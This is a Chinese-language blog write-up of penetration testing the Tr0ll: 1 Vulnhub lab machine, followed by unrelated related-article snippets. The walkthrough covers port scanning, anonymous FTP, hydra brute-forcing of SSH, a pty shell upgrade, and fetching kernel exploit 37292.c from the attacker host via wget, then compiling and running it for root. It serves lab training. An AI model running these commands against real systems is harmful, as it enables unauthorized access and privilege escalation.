Tr0ll: 1 Vulnhub靶机渗透笔记
Tr0ll: 1
本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。
如有侵权请联系我第一时间删除
靶机地址
Tr0ll: 1 ~ VulnHub
信息收集
nmap
主机发现
nmap -sn 192.168.236.128/24
tcp扫描
┌──(observer㉿kali)-[~/Tr0ll]
└─$ nmap -sT 192.168.236.136 -p- --min-rate 10000 -oA tcpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 19:59 CST
Nmap scan report for 192.168.236.136
Host is up (0.0027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 1.56 seconds
udp扫描
┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sU 192.168.236.136 --min-rate 10000 -oA udpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:01 CST
Nmap scan report for 192.168.236.136
Host is up (0.00024s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT STATE SERVICE
814/udp closed unknown
6970/udp closed unknown
17946/udp closed unknown
19933/udp closed unknown
48078/udp closed unknown
49202/udp closed unknown
MAC Address: 00:0C:29:8C:0A:29 (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds
刚刚扫描tcp扫到21ftp,22ssh,80web,现在对这三个端口进行详细的扫描
detail_tcpscan
┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sT -sV -sC -O 192.168.236.136 -p 21,22,80 --min-rate 10000 -oA tcpscan_detail
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:13 CST
Nmap scan report for 192.168.236.136
Host is up (0.00040s latency).PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 09 2014 lol.pcap [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.236.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
| 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/secret
MAC Address: 00:0C:29:8C:0A:29 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds
漏洞脚本扫描
nmap -script=vuln -p22,21,80 -min-rate 10000 -oA scriptvuln 192.168.236.136
这里不知道什么原因,扫不到东西
攻击面分析&尝试&getshell
那就不管了,主要看一下detail里的东西 这里本来是要先分析一下的,分析ftp的时候直接匿名登陆拿到了一个流量包,看到了一个关键的目录,然后去web渗透拿到了一些凭据,爆破后就ssh,思路就还挺简单的,所以就省略这个分析了
ftp
运行的是 vsftpd (Very Secure FTP Daemon) 3.0.2 版本
运行匿名登录,这个很值得关注:
ftp-anon: Anonymous FTP login allowed
在匿名登录的情况下,存在一个名为 lol.pcap
的文件具有读写执行权限 (-rwxrwxrwx
),这表示任何连接到FTP服务器的人都可以读取、修改或删除这个文件。这对于安全性来说是一个严重的风险,因为它可能允许未授权的用户上传恶意内容或者修改现有文件。
-rwxrwxrwx 1 1000 0 8068 Aug 09 2014 lol.pcap [NSE: writeable]
ftp连接以明文传输
控制连接是以明文形式进行的。这意味着客户端与服务器之间的命令交互(例如登录、目录更改等)不会被加密。
| Control connection is plain text数据连接也将以明文形式进行。这表示当传输文件或目录列表时,这些数据也不会被加密
| Data connections will be plain text
当我ftp不给用户名进去后,给出一条这样的报错,This FTP server is anonymous only 猜测anonymous就是管理员的username,而我们匿名进去是没有权限执行命令的
这里还尝试了用root,还是提示只能用anonymous
那就用anonymous匿名登录吧,提示输入密码,直接回车给他一个空密码,成功连接到了ftp,尝试输入ls ,是ok的 ,过了一会这个ftp就掉了,回头看tcp扫描结果发现 Session timeout in seconds is 600 ,也就是说600秒就会timeout,不过不影响什么
把这个流量文件下载下来
get lol.pcap
在wireshark中发现了一个secret_stuff.txt
但我尝试ftp去下载,也尝试web端去路由他,都失败了,那他到底是个什么呢,仔细看wireshark的流量,这里是抓到了request请求下载secret_stuff.txt ,仔细看一下,搞清楚下载过程的流量来源,又一开始我们就知道ftp是以明文传输数据的,既然这里有抓包的流量,也就是说这个响应包里肯定就是明文
将响应包里的明文拿出来:
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
\n
Sucks, you were so close... gotta TRY HARDER!\n
大概意思就是 好好好,你真是个小机灵鬼,你差不多找到了sup3rs3cr3tdirlol 😛
真遗憾,你差一点就成功了… 还得再加把劲!
这个sup3rs3cr3tdirlol是leet speak风格的文字,其实就是supersecretdirlol超级秘密目录,猜测大概率是一个目录
web
直接访问80端口,是一个欠揍的暴漫表情
之前tcp扫描提示有/secret,访问一下看看,发现更欠揍了
目录扫描一下dirsearch和dirb都扫一下,都没有什么发现
访问ftp得到的/sup3rs3cr3tdirlol有一个文件,我们wget把他下载到kali
从这里开始我的思路就断了,然后去看了别人的blog。。 QAQ
直接cat一堆乱码不太好看,用strings从二进制文件中提取可打印的字符序列,或许可以看到一些我们想要的线索
看到Find address 0x0856BF to proceed ,意思让我们去找这个地址来继续,这会是个目录吗?
还真是,给了两个目录,一个用户名,一个passwd
先下载到kali里,方便用hrdra九头蛇去爆破一下ssh和ftp(这两个都可以登录)
wget http://192.168.236.136/0x0856BF/good_luck/which_one_lol.txt
wget http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt
--2024-12-08 23:32:21-- http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt
vim处理一下which_one_lol.txt
┌──(observer㉿kali)-[~/Tr0ll]
└─$ vim which_one_lol.txt
┌──(observer㉿kali)-[~/Tr0ll]
└─$ cat which_one_lol.txt
maleus
ps-aux
felux
Eagle11
genphlux
usmc8892
blawrg
wytshadow
vis1t0r
overflow
hydra基础用法:使用语法:hydra 参数 IP地址 服务名
帮助命令:hydra -h
常用命令:hydra [-l 用户名|–L 用户名文件路径] [-p 密码|–P 密码文件路径] [-t 线程数] [–vV 显示详细信息] [–o 输出文件路径] [–f 找到密码就停止] [–e ns 空密码和指定密码试探] [ip|-M ip列表文件路径]
ftp
sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh
ssh
sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh
上面两条指令尝试用Pass.txt里的内容去爆破,都失败了
目录名提示说this_folder_contains_the_password
直接用这个文件名去ssh 成功拿到ssh的凭据:overflow Pass.txt
sudo hydra -L /YourPath/which_one_lol.txt -p Pass.txt 192.168.236.136 ssh
ssh获取初步shell
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu
22端口跑的是一个OpenSSH服务,是6.6.1p1版本,服务器提供了DSA
、RSA
、ECDSA
和ED25519
这几种密钥公钥算法用于主机认证
已经拿到一组凭据了,ssh连接获得初步shell
ssh overflow@192.168.236.136
成功登录
用python提升一下交互性
查询是否有python
dpkg -l | grep python
是有的,而且挺全的
那就用执行这条语句得到一个交互性更好的shell
python -c 'import pty;pty.spawn("/bin/bash")'
Pass.txt
ssh overflow@192.168.236.136
提权
信息收集
想sudo -l查看当前用户权限,但报错了,不允许使用这条命令
那就用uname -a
查看一下靶机的内核版本,Linux 3.13.0
overflow@troll:/$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux
这里提供了几种方式来查看linux版本,以及内核版本
$ cat /proc/version #查看GCC版本号,linux版本号,Ubuntu版本号
Linux version 3.13.0-32-generic (buildd@roseapple) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu #类别是Ubuntu
Description: Ubuntu 14.04.1 LTS #LTS是Long Term Support:长时间支持版本
Release: 14.04 #发行日期或者发行版本号
Codename: trusty #ubuntu的代号名称$ uname -a #显示linux 的内核版本和系统是多少位的:X86_64代表系统是64位的
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux# 使用 /etc/lsb-release 或 /etc/os-release 命令$ cat /etc/os-release
#与 Ubuntu 16.04 及更高版本兼容
#查看信息列表,其中包括您的 Ubuntu 版本号及其版本名称。
#此外,还有一些指向 Ubuntu 网站和资源的链接可以为您提供帮助
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"$ cat /etc/lsb-release
#它是为旧系统设计的,因此如果您运行的是过时的 Ubuntu 版本,则可以使用它
#使用该命令将返回更简单的结果,其中显示版本 ID、描述和代号。它不包括链接和 Ubuntu 版本名称
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"$ cat /etc/issue
#/etc/issue 文件是基于文本的文档。它包含系统标识数据
#因为该命令不会显示您的 Ubuntu 版本以外的任何内容
Ubuntu 14.04.1 LTS \n \l$ hostnamectl
#使用 hostnamectl 命令。
#当您要更改系统的主机名时,通常使用此方法。
#但是,它还会返回 Ubuntu 版本和计算机 ID 等信息。Static hostname: trollIcon name: computer-vmChassis: vmBoot ID: e43aaf51725843209b9e700f5eab15f9Operating System: Ubuntu 14.04.1 LTSKernel: Linux 3.13.0-32-genericArchitecture: i686
其中lsb表示(Linux Standard Base
):LSB是一套核心标准,它保证了LINUX发行版同LINUX应用程序之间的良好结合,具体地说,它是:
1、一个二进制接口规范,是指应用程序在系统间迁移时不用重新编译,保证应用程序在所有经过认证的LINUX发行版上都具有兼容性。
2、一个测试规范,测试LINUX发行版和LINUX应用程序是否符合LSB标准。
3、搭建遵从LSB规范的应用程序的开发环境。
4、为在纯LSB环境下运行和测试应用程序而提供的运行环境样本。
uname --s 显示内核名字
uname --r 显示内核版本
uname --n 显示网络主机名
uname --p 显示cpu
Exploit查询payload
根据内核版本在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers查找对应的payload,并用searchsploit下载到kali上
searchsploit Linux 3.13.0
searchsploit -m 37292.c
Exp利用
在攻击机上开一个php服务或python服务,都可以
sudo php -S 0:80
这里用到了一个不起眼但是很有用的/tmp目录,参考Linux中最低调、最易让人忽视的tmp目录,原来用处那么大!-腾讯云开发者社区-腾讯云
在Linux操作系统中,tmp目录是一个临时目录,用于存储临时文件。这个目录通常位于根目录下,命名为/tmp。本文将详细介绍Linux中的tmp目录,包括它的作用、权限、使用方法和安全性等方面。
作用
tmp目录用于存储临时文件,这些文件通常是由操作系统或应用程序创建的。这些文件可以是日志文件、临时缓存文件、程序临时文件、打印队列文件等。它们在使用后很快就会被删除,因此/tmp目录通常保持相对较小的大小。
权限
在Linux中,tmp目录的权限通常设置为777(rwxrwxrwx),这意味着任何用户都可以访问和修改该目录中的文件。这是为了方便临时文件的创建和删除。然而,由于/tmp目录通常包含敏感信息,因此一些系统管理员可能会更改其权限以提高安全性。
使用方法
/tmp目录在Linux中被广泛使用。下面是/tmp目录的几个主要用途:
- 缓存
/tmp目录通常用于存储临时缓存文件,这些文件可以加速某些操作。例如,浏览器会将下载的文件保存到/tmp目录中,以便更快地访问这些文件。
- 打印队列
打印服务通常会将打印任务存储在/tmp目录中。这些文件在打印完成后会自动删除。
- 应用程序临时文件
某些应用程序需要在运行期间创建临时文件。例如,视频编辑器需要创建临时文件以存储正在编辑的视频文件。
- 日志文件
某些程序会将日志文件保存在/tmp目录中。这些日志文件通常包含程序运行期间的信息,例如错误消息或调试信息。
- 其他
/tmp目录还可用于其他临时文件的存储,例如备份文件、邮件附件等。
安全性
尽管/tmp目录通常是一个临时目录,但它也可能包含一些敏感信息,例如密码文件或其他保密数据。因此,在使用/tmp目录时需要注意安全问题。下面是一些有关使用/tmp目录的安全建议:
- 避免在/tmp目录中存储敏感信息
尽管/tmp目录通常会自动清理,但为了确保安全,最好避免在其中存储敏感信息。如果必须存储敏感信息,则应考虑将文件加密或将其存储在其他地方。
- 定期清理/tmp目录
为了保证安全,建议定期清理/tmp目录。这可以防止/tmp目录被填满,从而导致系统崩溃或无法正常工作。
- 限制/tmp目录的权限
由于/tmp目录通常包含敏感信息,一些系统管理员可能会限制其访问权限,以提高安全性。这可以通过更改目录权限或使用安全模块(如SELinux)来实现。
- 避免使用/tmp目录作为共享目录
/tmp目录通常是一个临时目录,不应用于共享目录。如果必须在多个计算机之间共享文件,则应使用其他共享目录,例如NFS共享目录或Samba共享目录。
- 防止/tmp目录成为攻击者的入口
/tmp目录可能成为攻击者攻击系统的入口。攻击者可能通过/tmp目录中的漏洞来执行恶意代码,因此需要采取一些措施来保护/tmp目录的安全。这可以通过升级系统补丁、安装防病毒软件或使用安全模块等方式实现。
结论
在Linux中,tmp目录是一个重要的临时目录,用于存储临时文件。尽管/tmp目录通常自动清理,但在使用时需要注意安全问题。为了确保安全,建议避免在其中存储敏感信息,定期清理/tmp目录,并限制其访问权限。此外,还应采取一些措施来防止/tmp目录成为攻击者的入口。通过这些措施,可以确保/tmp目录在系统中的安全使用。
在靶机上使用wget从攻击机上下载payload(记得先cd到/tmp)
wget http://192.168.236.128:80/37292.c
将C语言文件编译为二进制文件
cc -o exp 37292.c
或者用gcc
gcc 37292.c -o exp
授权,并执行文件,获取root权限
chmod +x exp
./exp即可提权
定妆照:
相关文章:
Tr0ll: 1 Vulnhub靶机渗透笔记
Tr0ll: 1 本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支…...
网络通信技术
网络通信技术 IP路由基础 什么是路由 路由是指导报文转发的路径信息,通过路由可以确认转发IP报文的路径。路由设备是依据路由转发报文到目的网段的网络设备,最常见的路由设备:路由器。路由设备维护着一张路由表,保存着路由信息。路由的功能 路径选择数据转发、数据过滤维…...
十一、容器化 vs 虚拟化-Docker 使用
文章目录 前言一、Docker Hello World二、Docker 容器使用三、Docker 镜像使用四、Docker 容器连接五、Docker 仓库管理六、Docker Dockerfile七、Docker Compose八、Docker Machine九、Swarm 集群管理 前言 Docker 使用 Docker 容器使用、镜像使用、容器连接、仓库管理、Do…...
npm error Error: Command failed: F:\360Downloads\Software\nodejs\node.exe
前言: 电脑环境:win7 node版本:18.20.0 npm版本:10.9.2 情景再现:电脑上是存在的vuevite的项目且可以正常运行。想着摸鱼的时间复习一下ts语法,所以想创建一个demo。按照 开始 | Vite 官方中文文档 官网创建…...
html中,实现通过拖拽调整图像尺寸
<!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0"> <title>html中拖拽修改图像尺寸</title> <styl…...
sqlmap详解
一.sqlmap -u URL --forms sqlmap -u http://192.168.11.136:1337//978345210/index.php --forms 针对特定的 URL 进行 SQL 注入测试,特别是针对表单(form)的 POST 注入 forms:这个参数告诉 sqlmap 解析并测试目标 URL 中的表单…...
浏览器插件开发实战
浏览器插件开发实战 [1] 入门DEMO一、创建项目二、创建manifest.json三、加载插件四、配置 service-worker.js五、以书签管理器插件为例manifest.jsonpopup.htmlpopup.js查看效果 [2] Vue项目改造成插件一、复习Vue项目的结构二、删除、添加个别文件三、重写build [3] 高级开发…...
【特殊子序列 DP】力扣552. 学生出勤记录 II
可以用字符串表示一个学生的出勤记录,其中的每个字符用来标记当天的出勤情况(缺勤、迟到、到场)。记录中只含下面三种字符: ‘A’:Absent,缺勤 ‘L’:Late,迟到 ‘P’:Pr…...
C/C++流星雨
系列文章 序号直达链接1C/C爱心代码2C/C跳动的爱心3C/C李峋同款跳动的爱心代码4C/C满屏飘字表白代码5C/C大雪纷飞代码6C/C烟花代码7C/C黑客帝国同款字母雨8C/C樱花树代码9C/C奥特曼代码10C/C精美圣诞树11C/C俄罗斯方块12C/C贪吃蛇13C/C孤单又灿烂的神-鬼怪14C/C闪烁的爱心15C/C…...
Docker 安装 Jenkins:2.346.3
准备:已安装Docker,已配置服务器安全组规则 1581 1、拉取镜像 [rootTseng ~]# docker pull jenkins/jenkins:2.346.3 2.346.3: Pulling from jenkins/jenkins 001c52e26ad5: Pull complete 6b8dd635df38: Pull complete 2ba4c74fd680: Pull complet…...
枫清科技高雪峰:从数据到知识,重塑产业智能化的核心驱动力
2024 年 12 月 5 日,由智东西主办的“2024 中国生成式 AI 大会”在上海盛大开幕,汇聚了全球 AI 领域的顶尖专家、行业领袖与技术创新者。枫清科技(Fabarta)创始人兼 CEO 高雪峰应邀出席,并在大会上发表主题演讲&#x…...
【过滤器】.NET开源 ORM 框架 SqlSugar 系列
目录 0、 过滤器介绍 1、表过滤器 (推荐) 1.1 手动添加过滤器 1.2 禁用、清空、备份和还原 1.3 联表查询设置 1.4 动态添加 2、修改和删除用过滤器 2.1 局部设置 2.2 全局设置 (5.1.4.62) 3、子查询用过滤器 4、联表过滤…...
在 Ansys Q3D 中求解直流和交流电感
提取电缆的电感对于确保电气和电子系统的性能和可靠性至关重要。本篇博客文章将介绍使用 Ansys Q3D 求解直流和交流电感的过程。 概述 在这个例子中,我们将考虑一个由两组电缆组成的简单几何:正极和负极,如下所示: 可以使用“自…...
location重定向和nginx代理
文章目录 1 location重定向1.1 概述1.2 rewrite跳转1.3 用例1.4 实验1.4.1 基于域名的跳转1.4.2 基于ip的跳转1.4.3 基于后缀名的跳转 2 nginx的代理2.1 nginx内置变量2.2 实验2.2.1 前提条件2.2.2 正向代理2.2.3 自动代理 1 location重定向 1.1 概述 重定向:就是…...
币安移除铭文市场的深度解读:背后原因及其对区块链行业的影响
引言: 就在昨天,2024年12月10号,币安宣布将移除铭文市场(Inscriptions Market)。这一消息引发了全球加密货币社区的广泛关注,尤其是在比特币NFT和数字收藏品市场快速发展的背景下。铭文市场自诞生以来迅速…...
【论文复现】基于曲率的图重新布线
📝个人主页🌹:Eternity._ 🌹🌹期待您的关注 🌹🌹 ❀ 无基于曲率的图重新布线 论文概述核心算法算法说明关键代码 运行方法数据集配置文件训练和测试 运行结果 论文概述 论文链接 Topping, Jake,…...
scala的Array
特性 类型安全:Scala 中的数组是类型安全的,这意味着一旦声明了数组的类型,就只能存储该类型的元素。 大小固定:数组的大小在创建时确定,之后不能改变。 零索引:Scala 数组与 Java 数组一样,都…...
【HarmonyOS实战开发】鸿蒙JS崩溃分析
当未处理的JS异常导致应用意外退出时,应用会生成对应的JS崩溃日志文件,开发者可通过错误日志查看引起崩溃的代码位置及分析应用崩溃的原因。本文将分别介绍JS崩溃分析思路以及典型分析案例。 一、日志信息 以下是崩溃日志信息中对应字段解释。 Device…...
【Vue3】前端使用 FFmpeg.wasm 完成用户视频录制,并对视频进行压缩处理
强烈推荐这篇博客!非常全面的一篇文章,本文是对该博客的简要概括和补充,在不同技术栈中提供一种可行思路,可先阅读该篇文章再阅读本篇: FFmpeg——在Vue项目中使用FFmpeg(安装、配置、使用、SharedArrayBu…...
与 Cursor AI 对话编程:2小时开发报修维修微信小程序
本文记录了如何通过与 Cursor AI 对话,全程不写一行代码的情况下,完成一个完整的报修小程序。整个过程展示了 AI 如何帮助我们: 生成代码 、解决问题、优化实现、完善细节。 先看一下效果图: 一、项目配置 首先我是这样和 AI 对…...
【机器学习】机器学习的基本分类-无监督学习-主成分分析(PCA:Principal Component Analysis)
主成分分析(Principal Component Analysis, PCA) 主成分分析(PCA)是一种常用的降维技术,用于将高维数据投影到低维空间,同时尽可能保留原数据的主要信息(方差)。 1. PCA 的核心思想…...
工频隔离与高频隔离的优劣对比
工频与高频隔离的优劣以及选择方法的详细介绍: 工频隔离 优点: 隔离效果好:能有效过滤电网上的谐波干扰和负载特性产生的大电流冲击,为负载提供更可靠的保护,适用于对电源稳定性和可靠性要求高的工业、医疗、交通等领…...
前端传入Grule,后端保存到 .grl 文件中
前端传入Grule,后端保存到 .grl 文件中 通过简单的输入框,将Grule的部分拆解成 规则名称 规则描述 规则优先级 规则条件 规则逻辑Grule关键字 when Then 模拟了 if 判断的条件和逻辑部分 类似于 shell 和 ruby 之类的脚本语言,有 then 关键字…...
SpringBoot【十】mybatis之xml映射文件>、<=等特殊符号写法!
一、前言🔥 环境说明:Windows10 Idea2021.3.2 Jdk1.8 SpringBoot 2.3.1.RELEASE 在利用mybatis进行开发的时候,编写sql时可能少不了>、<等比较符号,但是在mapper映射文件中直接使用是不行的,会报错࿰…...
使用Excel 对S型曲线加减速算法进行仿真
项目场景: 项目场景:代码中写了S型加减速算法,相查看生成的加减速数组,直观的展示出来,USB通信一次64字节,对于我几个个32位的频率值不太方便,于是采用Excel进行仿真。 代码中如何生成S加减速曲…...
Java面试宝典 1.13~1.31【2020.5 Beta版】
Java面试宝典 1.13~1.31【2020.5 Beta版】 <a name"14cb060b"></a> 1.Java基础 <a name"22b8b366"></a> 1.13 静态变量与实例变量的区别? 静态变量实例变量定义使用static关键字声明的实例变量在类中声明,但…...
调度系统:使用 Airflow 对 Couchbase 执行 SQL 调度时的潜在问题
使用 Airflow 对 Couchbase 执行 SQL 调度时,通常情况下不会直接遇到与 Couchbase 分布式特性相关的异常,但在某些特定情境下,可能会出现一些与分布式环境、调度和数据一致性相关的潜在问题。以下是一些可能会遇到的问题和建议的解决方案&…...
过载与简单:理解感知
通常情况下,最好的设计是使用最少设计技巧的设计。这是为什么?这一切都是关于人类大脑是如何工作的,它决定了观众对媒体的反应、感受情绪和做出决定。 注意。我们被海量的信息轰炸。不间断地处理所有这些信号会降低我们大脑的注意力。根据微…...
前端加密的方式汇总
目录 一、Base64编码 二、哈希算法 三、对称加密(AES/DES) 四、非对称加密(RSA) 五、加盐 六、Web Cryptography API? 七、总结 随着信息和数据安全重要性的日益凸显,如何保证信息数据在传输的过程中的安全成为开发者重点关注的内容。前端加密通常是指在浏览…...
git新建远程分支后,无法切换
git remote # 列出所有远程主机 git remote update origin --prune # 更新远程主机origin 整理分支 git branch -r # 列出远程分支 git branch -vv # 查看本地分支和远程分支对应关系 git checkout -b gpf origin/gpf # 新建本地分支gpf与远程gpf分支相关…...
HarmonyOS 线性容器List 常用的几个方法
List底层通过单向链表实现,每个节点有一个指向后一个元素的引用。当需要查询元素时,必须从头遍历,插入、删除效率高,查询效率低。List允许元素为null。 List和LinkedList相比,LinkedList是双向链表,可以快速…...
【21天学习AI底层概念】day2 机器学习基础
按照由浅入深的顺序,下一步学习 机器学习(Machine Learning) 的基础是最自然的选择。机器学习是人工智能的核心技术之一,很多AI系统都依赖它。以下是学习路线建议: 第二步:机器学习基础 学习目标ÿ…...
简单的Java小项目
学生选课系统 在控制台输入输出信息: 在eclipse上面的超级简单文件结构: Main.java package experiment_4;import java.util.*; import java.io.*;public class Main {public static List<Course> courseList new ArrayList<>();publi…...
TDengine Flink集成
Flink 集成 TDengine 主要涉及在 Flink 项目中配置与 TDengine 的连接,实现数据的读取和写入。以下是一个详细的指南,介绍如何在 Flink 中集成 TDengine: 一、准备工作 安装并启动 Flink: 下载并解压 Flink 安装包。启动 Flink …...
数据结构和算法-05堆和优先队列-01
堆结构(heap) 生活中我们遇见的数据结构-堆: 查看电影口碑排名第一的电影。 堆的概念 [堆(heap)] 是计算机科学中一类特殊的数据结构的统称。堆通常是一个可以被看做一棵树的数组对象。堆总是满足下列性质: 堆中某个结点的值总是不大于或不小于其父结点的…...
PDFMathTranslate,PDF多语言翻译,批量处理,学术论文,双语对照(WIN/MAC)
分享一个非常实用的PDF文档翻译项目——PDFMathTranslate。作为一个经常逛GitHub的开发者,我总喜欢翻看各种项目附带的论文,虽然大多时候是瞎研究,但却乐在其中。该项目能够完美保留公式、图表、目录和注释,对于需要阅读外文文献的…...
爬虫基础与实践
爬虫技术基础与实践 在当今数字化的时代,数据成为了宝贵的资源。爬虫技术作为获取数据的重要手段,受到了广泛的关注和应用。本文将介绍爬虫的基本概念、工作原理以及一些常用的技术和工具。 一、爬虫的基本概念 爬虫,也称为网络蜘蛛或网络机器…...
uni-app Android平台上架要求的隐私政策提示配置方法【跨端开发系列】
文章目录 前言📖一、前言二、DCloud 数据采集说明三、配置方式3.1 HBuilderX3.2.1及以上版本配置方式3.2 HBuilderX3.2.0及以下版本配置方法3.3 模板提示框3.4 无提示框 四、离线打包配置方式五、模板提示框六、二次确认提示框七、国际化八、隐私协议内容需要注意的…...
在Ubuntu上使用docker compose安装N卡GPU的Ollama服务
在现代计算环境中,利用 GPU 进行计算加速变得越来越重要。下面将讲解如何在Ubuntu上使用docker compose安装N卡GPU的Ollama服务。 1、安装 NVIDIA 容器工具 首先,需要确保你的系统已经安装了 NVIDIA 容器工具 nvidia-container-toolkit。这是让 Docker 容器访问 GPU 的关键…...
中文分词学习
1.安装 jieba 库 !pip install jieba jieba 库是用于中文分词的工具,它通过精确的分词算法来处理文本。通过分词可以将中文句子拆分成单独的词语,这对于自然语言处理任务非常重要,比如文本分类、情感分析、关键词提取。 2.中文文本分词处理…...
Seata 分布式事务
1. 分布式事务介绍 传统单体应用场景下,系统的数据保存在一个数据库实例中,通常场景的关系数据库都能自动提供事务保证,并且这种情况下的事务称为本地事务,能保证原子性、一致性、隔离性、持久性(ACID 特性)…...
Burp入门(10)-IP伪造插件
声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章 感谢泷羽sec 团队的教学 视频地址:IP伪造和爬虫审计_哔哩哔哩_bilibili 本文详细介绍IP伪造插件Burp Fake IP使用。 一、插件安装 打开Burp Suite。进入扩展标签页。点击添加&…...
idea连接SQL Server数据库_idea连接sqlserver数据库
4.设置密码(这一步可以在安装数据库时就可以完成),如果觉得用户名有问题,也可以修改用户名 5.查看SQL Server端口号(默认端口:1433),选择SQL Server2019配置管理器 6.打开SQL Server…...
SQL汇总数据:聚集函数
我们经常需要汇总数据而无需实际检索出这些数据,为此SQL提供了专门的函数。使用这些函数,SQL查询能够高效地检索数据,以便进行分析和报表生成。这类检索的例子包括: 确定表中行数(或者满足某个条件或包含某个特定值的…...
Next.js系统性教学:服务器操作与数据变更
更多有关Next.js教程,请查阅: 【目录】Next.js 独立开发系列教程-CSDN博客 目录 1. 什么是服务器操作和数据变更? 1.1 服务器操作 (Server Actions) 1.2 数据变更 (Mutations) 2. Next.js中的服务器操作与数据变更 2.1 引入:…...
Python Selenium 各浏览器驱动下载与配置使用(详细流程)
大家好啊!我是NiJiMingCheng 这是我的博客:NiJiMingCheng 这节课我们来学习安装selenium和对应的各个浏览器驱动,个人比较喜欢使用谷歌浏览器驱动,所以接下来以谷歌浏览器来为大家做示例!!! Sel…...
python flask 框架模块介绍
Flask 是一个轻量级、可扩展的 Python Web 框架,特别适合构建小型和中型应用程序。它的设计哲学是简单、灵活,允许开发者根据需要选择或创建功能模块。以下是 Flask 框架的核心模块和其功能的详细讲解: 1. Flask 核心模块 (1) flask.Flask 类…...
手把手搭建基于.NET 8.0的Web API项目
1.背景 工作以后,大部分时间都是在做基于业务的CRUD工作,软件产品或者项目的框架基本都早就搭建好了,程序员只需要在框架内去填格子打代码就行了。于是,我抽了时间来搭建个简单的三层架构模式的web api项目,技术点大概…...
SQL注入基础入门篇 注入思路及常见的SQL注入类型总结
目录 前言一、了解mysql数据库1、了解sql增删改查2、了解sql查询 二、sql注入基础三、学习sql注入漏洞1、union注入1、判断数字型注入还是字符型型注入:2、判断闭合方式(字符型注入):3、判断回显位4、查询库名,表名&am…...
部门操作和日志
PostMapping("/depts") public Result add(RequestBody Dept dept){System.out.println("添加部门: " dept);deptService.add(dept);return Result.success(); }Override public void add(Dept dept) {dept.setCreateTime(LocalDateTime.now());dept.setU…...